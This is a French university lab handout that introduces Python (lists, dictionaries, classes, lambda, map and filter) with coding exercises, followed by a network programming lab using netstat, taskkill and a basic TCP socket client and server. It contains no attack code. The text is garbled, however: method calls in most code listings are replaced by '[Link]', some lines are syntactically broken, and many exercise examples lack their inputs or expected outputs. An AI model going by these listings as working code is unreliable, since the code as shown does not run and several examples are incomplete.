TP Reseaux Avances
TP Reseaux Avances
2024
Table des
matières
Objectifs 6
IV - TP 2 Couche Transport 40
VII - TP 5 DNS 55
VIII - TP 6 HTTP 58
6. Exercice : Téléchargement de fichier (png, jpeg, exe) depuis le serveur Web ............................................. 62
5. Exercice : Comment configurer votre boite pour l'accès POP et IMAP ...................................................... 76
XI - TP 9 Cryptographie appliquée 95
La finalité de ce TP, destiné aux Master 1 SIC et IA, est d'étendre les connaissances
théoriques réseau à des application pratiques du modèle TCP/IP. La maîtrise des
concepts proposés permettra aux étudiants d'analyser, manipuler et interagir avec les
protocoles réseau standardisés ou privés. L'étudiant est encouragé à implémenter son
propre protocole applicatif analogue à FTP et TFTP à la fin du semestre.
6
TP 0 Introduction à Python Partie 1
TP 0 Introduction à
Python Partie 1 I
Python est un langage de scripte extrêmement simple syntaxiquement et possédant une bibliothèque riche
(regex, manipulation des matrices, combinaison et permutation, programmation web coté serveur,etc). Comme
d'autres langages de script ( php et OTCL), python supporte la programmation orientée objet.
Pendant les dernières années, python a gagné en popularité due aux nombreux projets développés en python
comme (par exemple OpenStack, Fsociety et MechanicalSoup).
Afin de vérifier que python est correctement installer, il suffit de vérifier que les fichiers sources python ( .py)
sont distingués par l’icône python.
- Bibliothèque riche;
- Syntaxe simple à apprendre ;
- Prototypage d'algorithme simplifié ;
- Large communauté active dans le développement Web, Intelligence Artificielle, Data Science, Cyber
Sécurité et teste de pénétration;
7
Syntaxe Python
1. Syntaxe Python
Contrairement aux langages static-typed comme C et Java, les types des variables sont dynamiquement inférés
lors de l'affectation. Ceci facilite énormément la programmation ;
1 print('x=')
2 x=int(input())
3 print('p=')
4 p=int(input())
5 print(x,' puissance ',p,' =',x**p)
- print est la fonction d'affichage sur écran comme printf et [Link] (et println) ;
- input permet la lecture d'une ligne de chaîne de caractères comme scanf (voir aussi gets en C) et Scanner.
next;
- Afin de calculer x à la puissance p, l'opérateur ** est utilisé ;
8
Syntaxe Python
Exemple
Listing 2 Simple calculatrice en python
- Il n'existe pas de commentaire multi-lignes en python et le caractère # marque le début d'un commentaire
mono-ligne (comme en TCL et Bash/sh);
- La déclaration d'une procédure (ou fonction) commence par le mot clé "def". Comme dans le corps du
programme, les types des paramètres ainsi que le type de retour d'une procédure ne sont pas déclarés
explicitement. Par exemple :
def NomProcedure (argment1, argument2,argument3) :
- La clause "switch" n'existe pas dans la syntaxe python. Cependant, cette clause est remplacée par "if-elif-
else", pour le teste de multiple cas. En outre, une condition est formulée de la manière suivante :
if ( condition) :
Par exemple, le programme présenté dans Listing 3 illustre comment les conditions sont formulées
1 def Mention(note):
2 if(note <7):
3 return "F"
4 elif (note >=7 and note<10):
5 return "D"
6 elif (note >=10 and note<13):
7 return "C"
8 elif (note>=13 and note<15):
9 return "B"
9
10
11 return "A"
12
13
14 Note=int(input())
15 print(Mention(Note))
- Le type "char" n'existe pas en python. De plus les chaînes de caractères peuvent être enfermer entre
double quottes (") ou single quottes (') comme en php et Javascript. Une chaîne de caractères multi-lignes
est déclarée avec """ (ou ''') au début et à la fin. Celle-ci peut aussi être utilisée à la place d'un
commentaire multi-lignes ;
- Les opérateurs logiques binaires en python sont and et or à la place && et || dans les langages C-type.
L'opérateur not remplace l'opérateur de négation (!) . En outre, les valeurs logiques en python sont True
et False (sensible à la case) ;
1 #Bloque~1
2 instruction1
3 instruction2
4 if (Condition1):
5 #Bloque~2
6 instruction3
7 instruction4
8 if (Condition1):
9 #Bloque~3
10 instruction5
11 instruction6
12 instruction7
13 else :
14 #Bloque~4
15 instruction8
16 instruction9
17 instruction10
18 instruction11
10
Exercice : Commandes système
Variable1=TypeVariable1(Varible2D_UnAutreType)
ou bien
Variable1=TypeVariable1(ValeurD_UnAutreType)
Dans le programme présenté dans Listing 4 (ligne 28) la valeur lue du clavier (input()), qui est une chaîne de
caractères, est convertie en type float avant d’être affectée à la variable nbr1.
- La déclaration d'un tableau se fait simplement par l'affectation à un tableau vide ( ligne 19).
- Les éléments sont dynamiquement ajoutés par la méthode append (ligne 22).
Le programme présenté dans Listing 5 comporte une procédure qui calcule la somme des valeurs des éléments
d'un tableau (ligne 2) :
1 import sys
2 def Somme (tab):
3 valeur_somme=0
4 for element in tab:
5 valeur_somme=valeur_somme+element
6 return valeur_somme
11
Exercice : Somme des N carrés pairs
7
8 # Programme principale
9
10 print("Entrez le nombre d'elements du tableau")
11 Nombre_D_Elements=int(input())
12
13 TableauD_Entier=[]
14 for i in range(Nombre_D_Elements):
15 print("TableauD_Entier[" + i + "]=")
16 TableauD_Entier.append(int(input()))
17
18 print( "Somme = ",Somme(TableauD_Entier) )
La fonction Somme suivante est la même fonction présentée dans Listing 5, écrite avec la boucle while (ligne 4):
L'invocation de la fonction range(Nombre_D_Element) (ligne 13- Listing 5) retourne une collection contenant
les chiffres allant de 0 jusqu'à Nombre_D_Element - 1. Pour voir ce résultat, il suffit d’exécuter le programme
suivant (list représente le type tableau qui permet de convertir l'objet retourné par range en tableau):
1 print(list(range(10)))
range(N1,N2,step) génère un tableau de nombre allant de N1 jusqu'à N2-1 un pas de valeur step. Step peut être
négatif
1 print("Tableau de 10 a 20",list(range(10,20)))
2
3 print( "Tableau de 50 a 100 avec un pas de 15",list(range(50,100,15)))
12
Les tableaux
On vous donne N carrés de tailles croissantes dans l'ordre croissant, et chaque côté de tous les carrés est un
nombre pair. Chaque côté du premier carré est 2, et chaque côté de tout carré suivant est plus long que le
précédent par 2 unités.
Quelle est la somme des surfaces de tous les N carrés ? Étant donné que le résultat peut être grand, veuillez
sortir la réponse modulo 1000000007.
Exemple :
Input
Output
Exemple :
5. Les tableaux
Dans le programme suivant, la taille du tableau (TailleTableau, ligne 1) est lue à partir du clavier. Ensuite, les
éléments lus à partir du clavier sont ajoutés au tableau ([Link](Element), ligne 5). En outre, la fonction
len() prend en paramètre un tableau et retourne la taille de celui-ci (ligne 8).
1 TailleTableau=int(input())
2 Tableau=[]
3 for i in range(TailleTableau):
4 print ("Tableau[",i,"]=")
5 [Link](int(input()))
6 print("Tableau=",Tableau)
13
Les tableaux
Comme dans la fonction range() présentée précédemment, l'indice de l'élément tableau supporte jusqu'à 3
paramètres (testez l'exemple présenté dans le listing suivant).
- Tableau [i] : désigne le iem élément du tableau si (i>=0). Si i<0 , Tableau [i] désigne l'élément à la position
N-iem avec N définie comme la taille du tableau.
- Tableau [N1 : N2] : désigne la séquence d'éléments du tableau allant de l'indice N1 jusqu'à N2-1.
- Tableau [N1 : N2 :step] : désigne la séquence d'éléments du tableau allant de l'indice N1 jusqu'à N2 avec
un pas = step (l'élément à l'indice N2 est exclu de la séquence). Par défaut, Tableau[ : : ] et Tableau[ :]
sont équivalents à Tableau[0 :len(Tableau) :1] (équivalant au tableau entier). La valeur de step peut être
négative pour parcourir les élément dans l'ordre inverse :
Tab=[1,3,5,7,9,11,13,15]
Tab[::-1] # donne[15, 13, 11, 9, 7, 5, 3, 1]
Tab[ 7: 2: -2] # donne [15, 11, 7]
L'objet tableau, représenté par le type list, comporte des méthodes prédéfinies permettant de faciliter les
traitements sur ces derniers. Soit un objet Tab de type list :
Tab=[7,3,1,2,10,5]
Pour tester si un élément existe dans un tableau ou pas, l'opérateur in est utilisé :
Une matrice en python n'est qu'un tableau de tableaux. De la même façons, une matrice de N dimensions peut
être représentée.
Tab=[[1,2,3],[4,5,6],[7,8,9]]
print(Tab[1][1]) # donne 5
14
Exercice : Tableaux et Matrices
Conseil
La concaténation des listes se fait par une simple opération + :
Tableau1=[1,2,3,4,5]
Tableau2=[6,7,8,9]
Tableau3=Tableau1+Tableau2
Tab=[25,"Mohammed","M1INFO",[13.0,12.0,14.0,11.0],12.50]
Étant donné une liste d'entiers T de taille M=NxN, donnez une fonction qui prend en paramètre une liste T et
N, et retourne une matrice Mat tel que chaque ligne i de Mat (Mat[i]) est égale à la liste [T[i x N],T[i x N+1], T
[i x N+2],....,T[ixN+N-1]] ( 0<=i<N).
Bonus :Votre code doit contenir une seule boucle. Une matrice en Python n'est qu'une liste ou chaque élément
est une liste.
Par exemple :
Pour T=[1, 2, 3, 5, 2, 3, 4, 1, 4, 5, 2, 4, 5, 0, 3, 5] et N= 4
Le résultat attendu est Mat =[ [1, 2, 3, 5], [2, 3, 4, 1],[4, 5, 2, 4], [5, 0, 3, 5] ] (Mat[0]= [1, 2, 3, 5], Mat[1] =
[2, 3, 4, 1], etc).
Question 2
Étant donnée une matrice M de deux dimensions, donnez une fonction qui calcule pour chaque ligne la
moyenne de celle-ci (moyenne de la ligne). La fonction doit retourner une liste R, des moyennes tel que R[i]
est la moyenne de la ieme ligne de M.
Exemple :
[2, 3, 4, 1],
[4, 5, 2, 4],
[5, 0, 3, 5] ]
15
Exercice : Résumé Statistique Partie 1
Question 3
Étant donnée une matrice M carrée de deux dimensions, donnez une fonction qui calcule la somme de ces
deux diagonales et retourne cette valeur.
Exemple :
Pour la matrice prétendante, la somme des diagonales est égale à 5+1+10+5 + 3+2+3+7 =36
16
Exercice : Résumé Statistique Partie 1
24
25
26 # Question 5 triez le tableau Notes sans utiliser les methodes predefinies ( .
sort() et sorted ) dans l'ordre ascendant
27 """le resultat attendu
28 [1.0, 1.0, 1.0, 2.0, 3.0, 5.0, 5.0, 6.0, 6.0, 8.0, 8.0, 9.0, 11.0,
29 11.0, 11.0, 12.0, 12.0, 13.0, 13.0, 14.0, 14.0, 14.0, 14.0, 15.0, 17.0]
30 ou bien
31 [1, 1, 1, 2, 3, 5, 5, 6, 6, 8, 8, 9, 11,
32 11, 11, 12, 12, 13, 13, 14, 14, 14, 14, 15, 17]
33 """
34
35 # Qustion 6 creez une liste contenant seulement les valeurs uniques de Notes:
36 # Indication : utilisez le tableau apres le trie ou l'operateur 'in' pour tester
37 # l'appartenance
38 # resultat attendu =[1, 2, 3, 5, 6, 8, 9, 11, 12, 13, 14, 15, 17]
39
40
41
Question 1
Convertir les éléments du tableau Notes du type en entier (int) au type float et imprimer le résultat sur écran.
Indice :
Le résultat attendu = [15.0, 13.0, 5.0, 11.0, 5.0, 14.0, 9.0, 6.0, 14.0, 1.0, 8.0, 8.0, 11.0,
3.0, 12.0, 11.0, 2.0, 17.0, 14.0, 1.0, 6.0, 12.0, 13.0, 14.0, 1.0]
Question 2
Indice :
Indication : utiliser le tableau après conversion des élément en float
Question 3
Calculez la variance de Notes et imprimer le résultat sur écran. (E(X) n'est que la moyenne que vous venez de
calculer dans la question précédente).
Indice :
Le résultat attendu = 23.6384
Question 4
Calculer la valeur la plus fréquente dans le tableau et imprimez le résultat sur écran.
17
Les dictionnaires
Indice :
Le résultat attendu = 14.0 ou 14 (se répète 4 fois)
Question 5
Triez le tableau Notes sans utiliser les méthodes prédéfinies ( .sort() et sorted ) dans l'ordre ascendant.
Indice :
Le résultat attendu
[1.0, 1.0, 1.0, 2.0, 3.0, 5.0, 5.0, 6.0, 6.0, 8.0, 8.0, 9.0, 11.0,
11.0, 11.0, 12.0, 12.0, 13.0, 13.0, 14.0, 14.0, 14.0, 14.0, 15.0, 17.0]
ou bien
[1, 1, 1, 2, 3, 5, 5, 6, 6, 8, 8, 9, 11,
11, 11, 12, 12, 13, 13, 14, 14, 14, 14, 15, 17]
Question 6
Indice :
Indication : utilisez le tableau après le trie ou l’opérateur 'in' pour tester l'appartenance.
8. Les dictionnaires
Un dictionnaire est une collection qui supporte comme indice une chaîne de caractères (comme les tableaux
associatives en php) ainsi que d'autres types de valeurs immuables et supportant le hachage :
La syntaxe de la boucle for-in fonctionne de la même façon sur les dictionnaires. Le code suivant boucle sur les
valeurs des clés (keys) avec la variable key (Ligne 2) et affiche ensuite chaque clé avec la valeur associée (Ligne
3).
1 UnDictionnaire ={ "Nom":"Mohammed","Specialite":"Informatique","Age":25}
2 for key in UnDictionnaire:
18
Exercice : Numéro de la chambre
3 print(key , UnDictionnaire[key ])
1 Nom Mohammed
2 Specialite Informatique
3 Age 25
4
Afin de supprimer une clé (key) d'un dictionnaire, la méthode pop est utilisé pour supprimer et retourner la
valeur à la clé en paramètre.
1 UnDictionnaire ={ "Nom":"Mohammed","Specialite":"Informatique","Age":25}
2 print([Link]("Nom"))
3 print(UnDictionnaire)
1 Mohammed
2 {'Specialite': 'Informatique', 'Age': 25}
Counter est un type de dictionnaire avec une implémentation permettant de compter le nombre d’occurrences
des éléments d'une liste. Le constructeur Counter prend une collections (list, str, etc) et retourne un dictionnaire
contenant le nombre d’occurrences de chaque élément de la collection :
1236544253616532412514368431562
Cela signifie que la chambre 1 est occupée par une chambre de 5, etc.
Input
Output
Numéro de la chambre
Exemple :
1236544253616532412514368431562
Résultat :
19
Exercice : Numéro de la chambre
Question
Étant donnée une séquence des numéros des chambres réservées pour une excursion écrivez le code pour
trouver le numéro de la chambre du guide touristique. Supposez que une famille comporte toujours plus que
un membre.
Indice :
Utilisez un dictionnaire pour trouver le numéro de la chambre que se répète une seule fois. Ou bien, vous
pouvez aussi utiliser la méthode .sort() pour faciliter la recherche de la valeur unique.
20
TP 0 Introduction à Python Partie 2
TP 0 Introduction à
Python Partie 2 II
La fonction split() (équivalente à la fonction split implémentée dans la classe String en Java) découpe une chaîne
de caractères en morceaux selon le délimiteur (le caractère espace dans l'exemple suivant, ligne 1) et renvoie un
tableau des éléments (sous-chaînes) selon le séparateur:
1 Tableau=input().split(" ")
2 print( "Tableau = ", Tableau)
3 print( "Tableau [-4] = ", Tableau[-4])
4 print( "Tableau [3 : 5] = ", Tableau[3:5])
5 print( "Tableau [5:2:-1]= ", Tableau[5:2:-1])
6 print( "Tableau [::]= ", Tableau[::])
Dans ce défi, l'utilisateur saisit une chaîne et une sous-chaîne. Vous devez imprimer le nombre de fois que la
sous-chaîne apparaît dans la chaîne donnée.
Input
La première ligne d'entrée contient la chaîne d'origine. La ligne suivante contient la sous-chaîne.
Output
Affiche le nombre entier indiquant le nombre total d'occurrences de la sous-chaîne dans la chaîne d'origine.
Exemple input
ABCDCDC
CD
21
Les classes et objets en python
Résultat
Indice :
[Link](B) retourne le nombre de fois la chaîne de caractères B se répète dans A.
1 class TypeJoueur:
2 def __init__(self):
3 [Link]=100
4 [Link]=0
5 [Link]=''
6
7 def lireNomJoueur(self):
8 [Link] = input()
9
10 def mettreAJourScore(self,scoreRecompense):
11 [Link]=[Link]+scoreRecompense
12
13 def afficherStatisticJoueur(self):
14 print( "NomJoueur=",[Link],"\nPoints De Vie=",[Link],
"\nScore=",[Link])
15
16 Med=TypeJoueur()
17
18 [Link]()
19 [Link](10)
20 [Link]()
- Le mot clé self, passé en argument dans tous les déclarations de méthode de la classe TypeJoueur,
représente l'objet qui a invoqué la méthode ou le constructeur. Cependant, lors de l'appel d'une
méthode, cet objet self est automatiquement inféré. Par exemple :
Med=TypeJoueur()# est équivalente à Med=TypeJoueur(Med). Donc l'objet courant (self) prendra la
référence de l'objet qui a invoqué la méthode
[Link](10) # de même cette instruction est équivalente à [Link]( Med,
10)
- En outre, les attributs de la classe sont déclarés à l'intérieur du constructeur __init__ ([Link] ,
[Link], [Link]).
- L'appel du constructeur (ligne 16) se fait sans opérateur new contrairement à la syntaxe Java.
22
Tuple et unpacking
1 def __init__(self,pointsvie,score,nom):
2 [Link]=pointsvie
3 [Link]=score
4 [Link]=nom
Il est possible aussi de définir l'implémentation des opérateurs comme +, -, *, [] , (). Par exemple, la classe list
(tableau) définie l'opérateur + pour concaténer une liste avec une autre et * pour répéter une liste un certain
nombre de fois. Voir l'exemple suivant :
1 A=[10,20,30,40]
2 B=[100,200,300,400]
3 C=A+B
4 print(C) # [10, 20, 30, 40, 100, 200, 300, 400]
5 C=A*3
6 print(C) # [10, 20, 30, 40, 10, 20, 30, 40, 10, 20, 30, 40]
La surcharge d'opérateur peut être défie dans une classe avec la méthode correspondante à l'opérateur
spécifique. Par exemple, + est définie par la méthode __add__, * par __mul__, / par __div__. L'exemple
suivant définie l'opérateur d'addition (__add__ ligne 15) pour modifier le score du joueur et l'opérateur de
multiplication (__mul__ ligne 18) pour multiplier le score par un facteur. Les deux méthodes précédentes
retourne l'objet après la modification du score (ligner 17 et 20). La surcharge des deux opérateurs est testée
dans ligne 26 et 28.
1 class TypeJoueur:
2 def __init__(self):
3 [Link]=100
4 [Link]=0
5 [Link]=''
6
7 def lireNomJoueur(self):
8 [Link] = input()
9
10 def mettreAJourScore(self,scoreRecompense):
11 [Link]=[Link]+scoreRecompense
12
13 def afficherStatisticJoueur(self):
14 print( "NomJoueur=",[Link],"\nPoints De Vie=",[Link],
"\nScore=",[Link])
15 def __add__(self,scoreRecompense):
16 [Link]=[Link]+scoreRecompense
17 return self
18 def __mul__(self,multiplicateurScore):
19 [Link]=[Link]*multiplicateurScore
20 return self
21
22 Med=TypeJoueur()
23
24 [Link]()
25 [Link](10)
26 Med+=20
27 [Link]()
28 Med*=5
29 [Link]()
23
Tuple et unpacking
4. Tuple et unpacking
Python offre un autre type similaire au tableau appelé tuple. Les tuples supportent la plus part des opérations
sur les tableaux sauf qu'ils sont immuables (une fois que le tuple est créé, on ne peux pas changer son contenu).
Les tableaux et les tuples sont souvent utilisés pour déballer (unpack) plusieurs valeurs. Supposant que ont
possède un tuple T contenant le nom, l'age et le niveau d'un étudiant et on souhaite attribuer chaque valeur à
une variable.
1 T=("Mohammed",18,"L3")
2 nom,age,niveau=T
3 print(nom)
4 print(age)
5 print(niveau)
Syntaxe
L'instruction "nom,age,niveau=T" est équivalente à :
nom=T[0]
age=T[1]
niveau=T[2]
Cette syntaxe peut être utilisée afin de permuter les valeurs des variables :
a=1
b=2
a,b=b,a
ou bien
24
Exercice : Trie
a,b=[b,a]
5. Exercice : Trie
Question
Le code suivant lit à partir du clavier la taille du tableau (Ligne 2) et remplit celui-ci avec des valeurs aléatoires
(Ligne 3).
1 def multiplier(nombre,facteur=2):
2 return nombre*facteur
3 print( multiplier(3,5)) # resultat =15
4 print( multiplier(7)) # resultat = 14
- Dans l'exemple précédant, la fonction multiplier possède un paramètre par défaut facteur avec une valeur
2. Ceci dit que si la valeur du paramètre n'est pas précisée, la valeur de ce dernier est égale à 2 (voir
l'appel de multiplier avec un seul paramètre).
- Il est possible de déclarer plusieurs paramètres par défaut. La seule restriction est que les paramètres par
défaut ne sont pas suivies par un paramètre obligatoire :
L’écriture suivante est correcte :
def fontion(argobligatoire1,argobligatoire2,parametrepardefaut1=3,parametrepardefaut2=2,
parametrepardefaut3=1) ;
Par contre l'écriture suivante est incorrecte car argobligatoire2 vient après parametrepardefaut3 ;
def fontion(argobligatoire1,parametrepardefaut1=3,parametrepardefaut2=2,parametrepardefaut3=1,
argobligatoire2)
1 variableGlobal=4
2 def impromerlavaleurdeVG():
3 global variableGlobal
4 print( variableGlobal)
5 print( impromerlavaleurdeVG())
25
Fonction lambda
7. Fonction lambda
Souvent, il est nécessaire de déclarer des fonctions qui assurent un traitement limités ou calculer une formule
prédéfinie.
Par exemple supposant qu'ont souhaite écrire une fonction permettant de convertir la température en degré
Celsius vers Fahrenheit.
temp_Fahr=(temp_celsius × 9/5) + 32
1 def convertirCelsiusToFahr(temp_celsius):
2 return (temp_celsius * 9./5) + 32
A ce niveau, il faudra noter qu'une fonction peut être affectée à une variable. Une fonction déclarée en python
n'est qu'un objet de type function :
1 def convertirCelsiusToFahr(temp_celsius):
2 return (temp_celsius * 9./5) + 32
3 var1=convertirCelsiusToFahr
4 print (type(var1)) # imprime <type 'function'>
5 print( var1(3.))
Comme d'autres langages évolués, il existe une façon plus concise afin de déclarer une telle opération appelée
expression lambda:
- L'expression lambda précédante déclare une fonction anonyme avec un seul paramètre temp_celsius, et
retourne la valeur de la formule (temp_celsius * 9./5) + 32.
- La fonction déclarée est attribuée à la variable fun. Par la suite, afin d'invoquer cette fonction il suffit
d'utiliser la variable fun (Ligne 2).
- Dans cette déclaration le mot clé return n'est pas utilisé alors que la fonction retourne la valeur de la
formule. Ceci est appelé implicite return.
Exemple : map
Supposant qu'ont souhaite lire une liste d'entiers, séparés par des espaces, à partir du clavier. Ce travail peut être
accompli de la manière suivante :
1 def convertirEnListEntier(L):
26
Exercice : Résumé Statistique Partie 2
2 resultat=[]
3 for valeur in L:
4 [Link](int(valeur))
5 return resultat
6 print( convertirEnListEntier(input().split(" ")) )
Le programme précédant prend chaque valeur de la liste, la convertie vers le type int en faisant appel à int
(valeur) et ajoute le résultat au tableau resultat. Il existe une fonction qui permet d'appliquer une fonction à
chaque élément de la liste et de retourner la liste contenant le résultat sans changer la liste originale. Cette
fonction est appelée map :
- La fonction map, prend une fonction en paramètre (dans cet exemple int) et une collection / tableau,
applique cette fonction à chaque élément et ajoute le résultat à la collection en sortie.
- L'avantage de ceci est que si on souhaite changer le type de conversion ou la fonction appliquée sur les
éléments de la liste, il suffit de changer la fonction argument de map. Par exemple supposant que on
souhaite avoir les valeurs de la liste saisie du clavier comme des doubles ( float). La seule chose qui a
changée est la fonction passée en paramètre (float au lieu de int).
Exemple : filter
Une autre fonction similaire à map, est la fonction filter. Supposant qu'on possède une liste des notes et on
souhaite retenir seulement les notes supérieures à 14. La fonction suivante fait exactement ça :
1 def notesSuppA14(L):
2 resultat=[]
3 for valeur in L:
4 if valeur>14:
5 [Link](int(valeur))
6 return resultat
7 Liste=[13, 15, 16, 10, 9, 18, 11, 10]
8 print( notesSuppA14(Liste))
1 def supp14(note):
2 return note>14
3 print(list(filter(supp14,Liste)))
- Il suffit de définir une fonction qui va retourner une valeur booléenne (True ou False) et la mettre comme
paramètre pour filter. Appelons cette fonction comme la fonction d’évaluation.
- La fonction d'évaluation va être appliquée sur chaque élément de la liste. L’élément est ajouté à la
collection résultat si l'évaluation retourne True.
- Il est possible d’écrire la fonction précédente d'une manière plus concise avec une expression lambda :
27
Exercice : Résumé Statistique Partie 2
Question 1
Convertir les éléments du tableau Notes du type en entier (int) au type float et imprimer le résultat sur écran.
28
Exercice : Résumé Statistique Partie 2
Indice :
Le résultat attendu = [15.0, 13.0, 5.0, 11.0, 5.0, 14.0, 9.0, 6.0, 14.0, 1.0, 8.0, 8.0, 11.0,
3.0, 12.0, 11.0, 2.0, 17.0, 14.0, 1.0, 6.0, 12.0, 13.0, 14.0, 1.0]
Question 2
Indice :
Indication : utiliser le tableau après conversion des élément en float
Question 3
Calculez la variance de Notes et imprimer le résultat sur écran. (E(X) n'est que la moyenne que vous venez de
calculer dans la question précédente).
Indice :
Le résultat attendu = 23.6384
Question 4
Calculer la valeur la plus fréquente dans le tableau et imprimez le résultat sur écran.
Indice :
Le résultat attendu = 14.0 ou 14 (se répète 4 fois)
Question 5
Triez le tableau Notes sans utiliser les méthodes prédéfinies ( .sort() et sorted ) dans l'ordre ascendant.
Indice :
Le résultat attendu
[1.0, 1.0, 1.0, 2.0, 3.0, 5.0, 5.0, 6.0, 6.0, 8.0, 8.0, 9.0, 11.0,
11.0, 11.0, 12.0, 12.0, 13.0, 13.0, 14.0, 14.0, 14.0, 14.0, 15.0, 17.0]
ou bien
[1, 1, 1, 2, 3, 5, 5, 6, 6, 8, 8, 9, 11,
11, 11, 12, 12, 13, 13, 14, 14, 14, 14, 15, 17]
29
Exercice : Server Load Balancing
Question 6
Indice :
Indication : utilisez le tableau après le trie ou l’opérateur 'in' pour tester l'appartenance.
Dans ce défi, on vous donne N serveurs. Chaque serveur dispose d'un courant de charge Li de tâches en cours
d'exécution. Ensuite un batch de k tâches arrive et doit être distribué sur les N serveurs. Votre travail consiste
à concevoir un programme qui distribuera les travaux k entrants sur les serveurs de sorte que la différence
entre le nombre de travaux sur le serveur avec la charge la plus élevée et celui avec la charge la plus faible soit
minimale. Appelons cette métrique Déséquilibre minimal.
Par exemple si nous avons N=4 et les charges initiales comme suit [5,0,2,1]. Pour k=3 tâches arrivantes, la
distribution des travaux pour obtenir ce qui suit [5,2,2,2] permet d'obtenir le déséquilibre minimal. Le résultat
ici est 3 (5-2)
Input :
Ligne 3 : Une ligne contenant des entiers Li où chaque entier indique la charge actuelle du serveur
Output :
Contraintes :
1<=N<10000
0<=Li<=10000
0<=k<=100000000
Exemple :
587143
Sortie :
30
Exercice : Maximiser l'entier
Bob joue à LEGO. Il a N petites briques. Chaque brique est un cube 1x1x1.
En utilisant TOUTES les briques, Bob construit un gros "bloc". Ce bloc doit être un cuboïde simple (c'est-à-
dire sans espace vide à l'intérieur). Bob s'intéresse à la surface externe du bloc (somme des surfaces des 6
faces) qu'il a construit.
Quelles sont les surfaces minimales et maximales possibles que Bob peut construire avec les N briques?
Input :
Output :
Contraintes :
Exemple 1:
Sortie 1:
66
Exemple 2:
Sortie 2 :
30 38
Exemple 3 :
144
Sortie 2 :
168 578
On vous donne un entier N. Votre but est de créer le plus grand entier possible.
Pour ce faire, vous pouvez échanger deux chiffres adjacents tant qu'ils sont de parité différente. Par exemple,
vous pouvez échanger un chiffre impair et un chiffre pair, mais pas deux chiffres pairs. Vous pouvez effectuer
autant d'échanges que vous le souhaitez.
31
Exercice : Maximiser l'entier
Exemple :
Input :
Un entier N.
Output :
L'entier maximisé.
Contraintes :
Exemple :
325
Sortie :
352
32
TP 1 Introduction à la programmation réseau
TP 1 Introduction à la
programmation réseau III
Objectifs
Analyser l'état des connexions de processus;
Travail à rendre : pour chaque question/étape prenez une capture d’écran complète (les captures
d'écran partielles ne seront comptabilisées).
Les codes présentés dans ce support sont téléchargeables à partir du lien suivant [Link]
/0/folders/1XDPqzfoa8K7gOWcoOtbAqpXK7MYX4z9H
1. Exercice : netstat
Lancez votre invité de commande (CMD) et exécutez la commende suivante pour afficher les connexions
établies entre les applications dans votre machines et d'autres processus dans des machines distantes:
netstat -n
Remarque : Une connexion peut être établie entre deux applications qui fonctionnent dans la même machine.
33
Exercice : netstat
Question 1
Afin d'analyser facilement le résultat de la commande, redirigez le résultat de netstat vers un fichier de sortie
(par exemple : netstat -n>[Link])
- Exécutez le programme dans Listing 1 ([Link]) avant de lancer le programme de Listing 2 (Client .py).
- Exécutez la commende netstat -n à nouveau et vérifiez s'il y a un nouveau port ouvert correspondant au
port de votre application Serveur (9500).
1 import socket
2
3 SocketServeur = [Link]()
4 port = 9500
5 # creation d'un socket en ecout sur l'interface [Link], port=9500
6 [Link](("[Link]", port))
7 [Link](1) # nombre de maximale de connexion qui peuvent etre mis
en file d'attente
8
9 print( "Lancement serveur") # instruction d'affichage
10 while True: # boucle infinie
11 # accept bloque le programme en attendant une connexion d'un client (la
reception du SYN)
12 ConnexionAUnClient, addrclient = [Link]()
13 # une fois que la connexion est recue, accept renvoie l'adresse du client et
un objet socket
14 # permetant l'envoie et la reception sur cette connexion
15 print("Connexion de la machine = ", addrclient)
16 MessageRec=""
17 while([Link]().lower()!="fin"):# tanque le message recu est
different de "fin"
18 MessageRec=[Link](1024) # recv permet de recevoir une
sequence d'octets
19 print( [Link]())
20 # .decode() transforme une objet bytes (suite d'octets) en chaine de
caracteres en
21
22 print( "Deconnexion de :",addrclient)
23 #[Link]() # coloture la connexion (envoie FIN ACK au client)
24
25
1 import socket
2
3 ConnexionAUnServeur = [Link]() # Creation de socket
4 host = "[Link]" # adresse de la machine distante
5 port = 9500 # numero de port
6 print( "Console Client")
7 [Link]((host, port)) # connexion avec le serveur ( envoie
flag SYN)
8 Message_A_Transmettre=""
9 while Message_A_Transmettrelower()!="fin":
10 Message_A_Transmettre=input() # lecture depuis le clavier
11 [Link](Message_A_Transmettre.encode()) # transmettre le
message vers le serveur
12 # .encode() transforme une chaine de caracteres en bytes (suite d'octets)
13 [Link]() # cloture de la connexion avec le serveur (envoie
flag FIN)
14 print( "Fin du programme")
15
34
Exercice : netstat
- Quel est l'état de la connexion avec le serveur (voir la dernière colonne de l'affichage netstat)?
- Transmettez un message du client pour le recevoir sur le serveur (écrivez un message dans la console Client
et appuyez sur Enter).
Afin de terminer un processus occupant un numéro de port cible (comme notre serveur par exemple), exécutez
les deux commandes suivantes :
- Trouvez le PID du processus occupant le numéro de port ciblé (dans ce cas 9500): netstat -aon|findstr :
9500 ;
- Terminer le processus avec le PID trouvé. Par exemple, pour terminer le processus 1700: taskkill /PID
1700 /F ;
Question 2
- Lancez votre CMD en mode administrateur et exécutez la commende netstat -n -b pour voir les nom des
processus correspondants à chaque connexion.
35
Exercice : netstat
- Transmettez un message "Fin" de votre client active pour clôturer la connexion et ensuite lancez netstat -
nb pour voir l’état de connexion entre client et serveur.
36
Exercice : Multi-threading
Question 3
- Lancez deux instances du client avec une seule instance du serveur. Transmettez ensuite des messages a
partir des deux clients.
- Que remarquez-vous (est ce que les messages des deux clients sont reçus)?
2. Exercice : Multi-threading
Le programme serveur précédant peut servir un seul client à la fois. Un serveur web par exemple doit servir
plusieurs interlocuteurs simultanément. Ceci est réalisable grâce à la programmation multi-threading. Le
programme python dans Listing 3 est un simple serveur multithread qui lance un processus chaque fois qu'un
nouvel client est connecté.
Question
- Lancez le programme client (Listing 2 du 1er exercice) et puis le programme serveur multi-thread (Listing
3) ;
- Lancez un nouvel client sans fermer le 1er client et transmettez des messages depuis le 1er et 2em client
(vérifiez que les messages des deux clients sont reçus par le serveur multithread python)
- Exécutez la commande netstat -n;
- Que remarquez-vous ?
1 import socket
2 import _thread
3
4 def Traiter_Connexion(connexion_avec_client,adresse_client):
5 MessageRec=""
6
7 print( "Connexion de la machine = ", adresse_client)
8 try:
9 while([Link]().lower()!="fin"):
10 MessageRec=connexion_avec_client.recv(1024)
11 MessageRec=MessageRec
12 print( "Client" ,adresse_client," a dit :",[Link]())
13 except:
14 print( "Deconnexion")
15 print( "Deconnexion de :",adresse_client)
16 try:
17 connexion_avec_client.close()
18 except:
19 pass
20
21 SocketServeur = [Link]()
22 host = [Link]()
23 port = 9500
24 [Link](("[Link]", port))
25
26 [Link](5)
27
28 print( "Lancement serveur")
29 while True:
